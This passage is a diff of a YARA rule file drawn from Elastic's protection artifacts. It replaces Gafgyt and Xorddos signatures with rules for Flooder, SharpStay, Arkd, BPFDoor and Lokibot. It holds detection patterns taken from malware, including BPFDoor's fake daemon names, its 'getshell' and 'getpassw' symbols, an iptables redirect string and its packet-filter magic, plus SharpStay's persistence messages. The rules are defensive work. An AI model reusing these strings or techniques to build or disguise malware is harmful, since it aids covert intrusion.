-		logic_hash = "af26549c1cad0975735e2c233bc71e5e1b0e283d02552fdaea02656332ecd854"
+		id = "f454ec10-7a67-4717-9e95-fecb7c357566"
+		date = "2022-01-05"
+		modified = "2022-01-26"
+		reference = "0297e1ad6e180af85256a175183102776212d324a2ce0c4f32e8a44a2e2e9dad"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L600-L618"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "e5afb215632ad6359ba95df86316d496ea5e36edb79901c34e0710a6bd9c97d1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d59183e8833272440a12b96de82866171f7ea0212cee0e2629c169fdde4da2a5"
-		severity = 100
+		fingerprint = "2ae5e2c3190a4ce5d238efdb10ac0520987425fb7af52246b6bf948abd0259da"
+		severity = "100"
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 75 FD 48 FD 45 FD 0F FD 00 FD FD 0F FD FD 02 00 00 48 FD 45 }
+		$a = { 8B 45 EC 48 63 D0 48 8B 45 D0 48 01 D0 0F B6 00 3C 2E 75 4D 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_D7F35B54 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_9417F77B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "d7f35b54-82a8-4ef0-8c8c-30a6734223e1"
-		date = "2022-09-12"
-		modified = "2022-10-18"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1407-L1425"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "79a75c8aa5aa0d1edef5965e1bcf8ba2f2a004a77833a74870b8377d7fde89cf"
-		logic_hash = "d827e21c09b8dce65db293aa57b39f49f034537bb708471989ad64e653c479be"
+		id = "9417f77b-190b-4834-b57a-08a7cbfac884"
+		date = "2022-01-05"
+		modified = "2022-01-26"
+		reference = "60ff13e27dad5e6eadb04011aa653a15e1a07200b6630fdd0d0d72a9ba797d68"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L620-L638"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "470b7e44cd875b1f6abcfa5e4d33d2808a65630dc914b38643c9efb14db5f1ff"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d01db0f6a169d82d921c76801738108a2f0ef4ef65ea2e104fb80188a3bb73b8"
-		severity = 100
+		fingerprint = "d321ea7aeb293f8f50236bddeee99802225b70e8695bb3527a89beea51e3ffb3"
+		severity = "100"
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { FD 48 FD 45 FD 48 FD FD FD FD FD FD FD FD FD 48 FD 45 FD 66 }
+		$a = { 0F B7 45 F6 0F B7 C0 48 01 C3 48 89 DA 48 C1 FA 10 0F B7 C3 48 8D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_F11E98Be : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Sharpstay_Eac706C5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Hacktool Sharpstay (Windows.Hacktool.SharpStay)"
 		author = "Elastic Security"
-		id = "f11e98be-bf81-480e-b2d1-dcc748c6869d"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "eac706c5-975e-43f2-b106-149f884a2e9a"
+		date = "2022-11-20"
+		modified = "2023-01-11"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1427-L1445"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "79a75c8aa5aa0d1edef5965e1bcf8ba2f2a004a77833a74870b8377d7fde89cf"
-		logic_hash = "9b9122f0897610dff6b37446b3cecbfcec3dce8dc7e1934e78cc32d5f6ac9648"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_SharpStay.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "498d201f65b57a007a79259ce7015eb7eb1bba660d44deafea716e36316a9caa"
+		logic_hash = "b85679018658e33e81cd2589e9f99cf9ed16ac25b27d93bece26cb5ccc2e379a"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "8cdf2acffd0cdce48ceaffa6682d2f505c557b873e4f418f4712dfa281a3095a"
+		fingerprint = "346e6cf9d85c737b171914b331bb1837f90696301dbe144cbf8996b8a8cb3adb"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { FD 40 00 09 FD 21 FD FD 08 48 FD 80 3E 00 75 FD FD 4C 24 48 0F FD }
+		$guid = "2963C954-7B1E-47F5-B4FA-2FC1F0D56AEA" ascii wide nocase
+		$print_str0 = "[+] Registry key HKCU:SOFTWARE\\Classes\\CLSID\\{0}\\InProcServer32 created" ascii wide fullword
+		$print_str1 = "Sharpstay.exe action=ElevatedRegistryKey" ascii wide fullword
+		$print_str2 = "[+] WMI Subscription {0} has been created to run at {1}" ascii wide fullword
+		$print_str3 = "[+] Cleaned up %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Indexing.{0}" ascii wide fullword
 
 	condition:
-		all of them
+		$guid or all of ($print_str*)
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_8D4E4F4A : FILE MEMORY
+rule ELASTIC_Linux_Rootkit_Arkd_Bbd56917 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Rootkit Arkd (Linux.Rootkit.Arkd)"
 		author = "Elastic Security"
-		id = "8d4e4f4a-b3ea-4f93-ada2-2c88bb5d806d"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "bbd56917-aeab-4e73-b85b-adc41fc7ffe4"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1447-L1465"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "79a75c8aa5aa0d1edef5965e1bcf8ba2f2a004a77833a74870b8377d7fde89cf"
-		logic_hash = "11ee101a936f8e6949701e840ef48a0fe102099ea3b71c790b9a5128e5c59029"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Rootkit_Arkd.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e0765f0e90839b551778214c2f9ae567dd44838516a3df2c73396a488227a600"
+		logic_hash = "5e1ce9c37d92222e21b43f9e5f3275a70c6e8eb541c3762f9382c5d5c72fb50d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9601c7cf7f2b234bc30d00e1fc0217b5fa615c369e790f5ff9ca42bcd85aea12"
+		fingerprint = "73c8b2685b6b568575afca3c3c2fe2095d94f2040f4a1207974fe77bbb657163"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -103491,28 +108036,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_8D4E4F4A : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 50 00 FD FD 00 00 00 31 FD 48 FD FD 01 00 00 00 49 FD FD 04 }
+		$a = { 7D 0B B8 FF FF FF FF EB 11 8D 74 26 00 39 C1 7F 04 31 C0 EB 05 B8 01 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Sqlexp_1Aa5001E : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Bpfdoor_59E029C3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Sqlexp (Linux.Trojan.Sqlexp)"
+		description = "Detects Linux Trojan Bpfdoor (Linux.Trojan.BPFDoor)"
 		author = "Elastic Security"
-		id = "1aa5001e-0609-4830-9c6f-675985fa50cf"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Sqlexp.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "714a520fc69c54bcd422e75f4c3b71ce636cfae7fcec3c5c413d1294747d2dd6"
-		logic_hash = "48c7331c80aa7d918f46d282c6f38b8e780f9b5222cf9304bf1a8bb39cc129ab"
+		id = "59e029c3-a57c-44ad-a554-432efc6b591a"
+		date = "2022-05-10"
+		modified = "2022-05-10"
+		reference = "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_BPFDoor.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "144526d30ae747982079d5d340d1ff116a7963aba2e3ed589e7ebc297ba0c1b3"
+		logic_hash = "64620a3404b331855d0b8018c1626c88cb28380785beac1a391613ae8dc1b1bf"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "afce33f5bf064afcbd8b1639755733c99171074457272bf08f0c948d67427808"
+		fingerprint = "cc9b75b1f1230e3e2ed289ef5b8fa2deec51197e270ec5d64ff73722c43bb4e8"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -103520,27 +108065,32 @@ rule ELASTIC_Linux_Trojan_Sqlexp_1Aa5001E : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 89 E3 52 53 89 E1 B0 0B CD 80 00 00 ?? 00 }
+		$a1 = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event" ascii fullword
+		$a2 = "/sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d" ascii fullword
+		$a3 = "avahi-daemon: chroot helper" ascii fullword
+		$a4 = "/sbin/mingetty /dev/tty6" ascii fullword
+		$a5 = "ttcompat" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Xorddos_2Aef46A6 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Bpfdoor_0F768F60 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "Detects Linux Trojan Bpfdoor (Linux.Trojan.BPFDoor)"
 		author = "Elastic Security"
-		id = "2aef46a6-6daf-4f02-b1b4-e512cea12e53"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L1-L18"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "d2c88774eb5227cf2d133644c648ebe5ba40c7e0acb2b432bc6a1a9da10bfb3f"
+		id = "0f768f60-1d6c-4af9-8ae3-c1c8fbbd32f4"
+		date = "2022-05-10"
+		modified = "2022-05-10"
+		reference = "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_BPFDoor.yar#L26-L50"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3a1b174f0c19c28f71e1babde01982c56d38d3672ea14d47c35ae3062e49b155"
+		logic_hash = "1aaa74c2d8fbb230cbfc0e08fd6865b5f7e90e4abcdb97121e52afb7569b2dbc"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d"
+		fingerprint = "55097020a70d792e480542da40b91fd9ab0cc23f8736427f398998962e22348e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -103548,28 +108098,33 @@ rule ELASTIC_Linux_Trojan_Xorddos_2Aef46A6 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 25 64 2D 2D 25 73 5F 25 64 3A 25 73 }
+		$a1 = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event" ascii fullword
+		$a2 = "/sbin/mingetty /dev/tty7" ascii fullword
+		$a3 = "pickup -l -t fifo -u" ascii fullword
+		$a4 = "kdmtmpflush" ascii fullword
+		$a5 = "avahi-daemon: chroot helper" ascii fullword
+		$a6 = "/sbin/auditd -n" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Xorddos_A6572D63 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Bpfdoor_8453771B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "Detects Linux Trojan Bpfdoor (Linux.Trojan.BPFDoor)"
 		author = "Elastic Security"
-		id = "a6572d63-f9f3-4dfb-87e6-3b0bafd68a79"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L20-L38"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2ff33adb421a166895c3816d506a63dff4e1e8fa91f2ac8fb763dc6e8df59d6e"
-		logic_hash = "237392fe51c8528cb5ed446facfcd3535b8e1d594d77a542361873bd52426fa7"
+		id = "8453771b-a78f-439d-be36-60439051586a"
+		date = "2022-05-10"
+		modified = "2022-05-10"
+		reference = "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_BPFDoor.yar#L52-L78"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78"
+		logic_hash = "546e5c56ceb6b99db14dc225a2ec4872cb54859a0f2f6ad520d4f446793e031e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fd32a773785f847cdd59d41786a8d8a7ba800a71d40d804aca51286d9bb1e1f0"
+		fingerprint = "b9d07bda8909e7afb1a1411a3bad1e6cffec4a81eb47d42f2292a2c4c0d97fa7"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -103577,27 +108132,35 @@ rule ELASTIC_Linux_Trojan_Xorddos_A6572D63 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { C8 0F B6 46 04 0F B6 56 05 C1 E0 08 09 D0 89 45 CC 0F B6 46 06 0F B6 }
+		$a1 = "[-] Spawn shell failed." ascii fullword
+		$a2 = "[+] Packet Successfuly Sending %d Size." ascii fullword
+		$a3 = "[+] Monitor packet send." ascii fullword
+		$a4 = "[+] Using port %d"
+		$a5 = "decrypt_ctx" ascii fullword
+		$a6 = "getshell" ascii fullword
+		$a7 = "getpassw" ascii fullword
+		$a8 = "export %s=%s" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Xorddos_E41143E1 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Bpfdoor_F690Fe3B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "Detects Linux Trojan Bpfdoor (Linux.Trojan.BPFDoor)"
 		author = "Elastic Security"
-		id = "e41143e1-52d9-45c7-b19f-a5475b18a510"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L40-L57"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "4564bf2019ff5086071ff147c9cf1e16b8627ce5d70cbe8370aecbd518d94b57"
+		id = "f690fe3b-1b3f-4101-931b-10932596f546"
+		date = "2022-05-10"
+		modified = "2022-05-10"
+		reference = "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_BPFDoor.yar#L80-L99"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78"
+		logic_hash = "35c6be75348a30f415a1a4bb94ae7e3a2f49f54a0fb3ddc4bae1aa3e03c1a909"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f621a2e8c289772990093762f371bb6d5736085695881e728a0d2c013c2ad1d4"
+		fingerprint = "504bfe57dcc3689881bdd0af55aab9a28dcd98e44b5a9255d2c60d9bc021130b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -103605,28 +108168,28 @@ rule ELASTIC_Linux_Trojan_Xorddos_E41143E1 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 73 1E 80 3C 06 00 8D 14 30 8D 4C 37 FF 74 0D EB 36 0F B6 42 01 83 }
+		$a1 = { 45 D8 0F B6 10 0F B6 45 FF 48 03 45 F0 0F B6 00 8D 04 02 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Xorddos_0Eb147Ca : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Bpfdoor_1A7D804B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "Detects Linux Trojan Bpfdoor (Linux.Trojan.BPFDoor)"
 		author = "Elastic Security"
-		id = "0eb147ca-ec6d-4a6d-b807-4de8c1eff875"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L59-L77"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "45f25d2ffa2fc2566ed0eab6bdaf6989006315bbbbc591288be39b65abf2410b"
-		logic_hash = "b20479af0767e5e8579489b5298648b9cc84b3e0778f58d8dc9deb252d0f4806"
+		id = "1a7d804b-9d39-4855-abe9-47b72bd28f07"
+		date = "2022-05-10"
+		modified = "2022-05-10"
+		reference = "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_BPFDoor.yar#L101-L127"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925"
+		logic_hash = "b0c4b168d92947e599e8c74d0ae6a91766c8a034c34e9c07e2472620c9b61037"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6a1667f585a7bee05d5aece397a22e376562d2b264d3f287874e5a1843e67955"
+		fingerprint = "e7f92df3e3929b8296320300bb341ccc69e00d89e0d503a41190d7c84a29bce2"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -103634,27 +108197,35 @@ rule ELASTIC_Linux_Trojan_Xorddos_0Eb147Ca : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 83 45 F0 01 8B 45 F0 89 45 E8 8B 45 E8 83 C4 18 5F 5D C3 55 }
+		$a1 = "getshell" ascii fullword
+		$a2 = "/sbin/agetty --noclear tty1 linux" ascii fullword
+		$a3 = "packet_loop" ascii fullword
+		$a4 = "godpid" ascii fullword
+		$a5 = "ttcompat" ascii fullword
+		$a6 = "decrypt_ctx" ascii fullword
+		$a7 = "rc4_init" ascii fullword
+		$b1 = { D0 48 89 45 F8 48 8B 45 F8 0F B6 40 0C C0 E8 04 0F B6 C0 C1 }
 
 	condition:
-		all of them
+		all of ($a*) or 1 of ($b*)
 }
-rule ELASTIC_Linux_Trojan_Xorddos_884Cab60 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Bpfdoor_E14B0B79 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "Detects Linux Trojan Bpfdoor (Linux.Trojan.BPFDoor)"
 		author = "Elastic Security"
-		id = "884cab60-214f-4879-aa51-c00de1a5ffc4"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L79-L96"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "139c5c1c3816047b595deb6a8873b2964e91393642b93536cd102af9a6033e7c"
+		id = "e14b0b79-a6f3-4fb3-a314-0ec20dcd242c"
+		date = "2022-05-10"
+		modified = "2022-05-10"
+		reference = "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_BPFDoor.yar#L129-L152"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "dc8346bf443b7b453f062740d8ae8d8d7ce879672810f4296158f90359dcae3a"
+		logic_hash = "7cdf111ae253bffef7243ad3722f1a79f81f45d80f938f9542af8e056f75d3fc"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72"
+		fingerprint = "1c4cb6c8a255840c5a2cb7674283678686e228dc2f2a9304fa118bb5bdc73968"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -103662,28 +108233,32 @@ rule ELASTIC_Linux_Trojan_Xorddos_884Cab60 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 }
+		$a1 = "getpassw" ascii fullword
+		$a2 = "(udp[8:2]=0x7255) or (icmp[8:2]=0x7255) or (tcp[((tcp[12]&0xf0)>>2):2]=0x5293)" ascii fullword
+		$a3 = "/var/run/haldrund.pid" ascii fullword
+		$a4 = "Couldn't install filter %s: %s" ascii fullword
+		$a5 = "godpid" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Xorddos_Ba961Ed2 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Bpfdoor_F1Cd26Ad : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "Detects Linux Trojan Bpfdoor (Linux.Trojan.BPFDoor)"
 		author = "Elastic Security"
-		id = "ba961ed2-b410-4da5-8452-a03cf5f59808"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L98-L116"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "45f25d2ffa2fc2566ed0eab6bdaf6989006315bbbbc591288be39b65abf2410b"
-		logic_hash = "5b486c698c9c61dc126be5dbeea862b1f9bb5a6859c02a0fff125a9890147a6b"
+		id = "f1cd26ad-dffb-421f-88f1-a812769d70ff"
+		date = "2023-05-11"
+		modified = "2023-05-16"
+		reference = "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_BPFDoor.yar#L154-L175"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "afa8a32ec29a31f152ba20a30eb483520fe50f2dce6c9aa9135d88f7c9c511d7"
+		logic_hash = "ad3e130d5a1203c55b5c8d369c7d9989f66f76c9bd57e2314a30f4c931e4b98d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fff4804164fb9ff1f667d619b6078b00a782b81716e217ad2c11df80cb8677aa"
+		fingerprint = "fb70740218e4b06c3f34cef2d3b02e67172900e067723408bcd41d4d6ca7c399"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -103691,172 +108266,180 @@ rule ELASTIC_Linux_Trojan_Xorddos_Ba961Ed2 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { F8 C9 C3 55 89 E5 83 EC 38 C7 45 F8 FF FF FF FF C7 45 FC FF FF }
+		$magic_bytes_check = { 0F C8 0F CA 3D 9F CD 30 44 ?? ?? ?? ?? ?? ?? 81 FA 66 27 14 5E }
+		$seq_binary = { 48 C1 E6 08 48 C1 E0 14 48 01 F0 48 01 C8 89 E9 48 C1 E8 20 29 C1 D1 E9 01 C8 C1 E8 0B 83 C0 01 89 C6 C1 E6 0C }
+		$signals_setup = { BE 01 00 00 00 BF 02 00 00 00 ?? ?? ?? ?? ?? BE 01 00 00 00 BF 01 00 00 00 ?? ?? ?? ?? ?? BE 01 00 00 00 BF 03 00 00 00 ?? ?? ?? ?? ?? BE 01 00 00 00 BF 0D 00 00 00 ?? ?? ?? ?? ?? BE 01 00 00 00 BF 16 00 00 00 ?? ?? ?? ?? ?? BE 01 00 00 00 BF 15 00 00 00 ?? ?? ?? ?? ?? BE 01 00 00 00 BF 11 00 00 00 ?? ?? ?? ?? ?? BF 0A 00 00 00 }
 
 	condition:
-		all of them
+		($magic_bytes_check and $seq_binary) or $signals_setup
 }
-rule ELASTIC_Linux_Trojan_Xorddos_2084099A : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Lokibot_1F885282 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "Detects Windows Trojan Lokibot (Windows.Trojan.Lokibot)"
 		author = "Elastic Security"
-		id = "2084099a-1df6-4481-9d13-3a5bd6a53817"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "1f885282-b60e-491e-ae1b-d26825e5aadb"
+		date = "2021-06-22"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L118-L135"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "6674be1438ec290550c9586afda335755279a4aedadde455ffc0b41d1a0e634d"
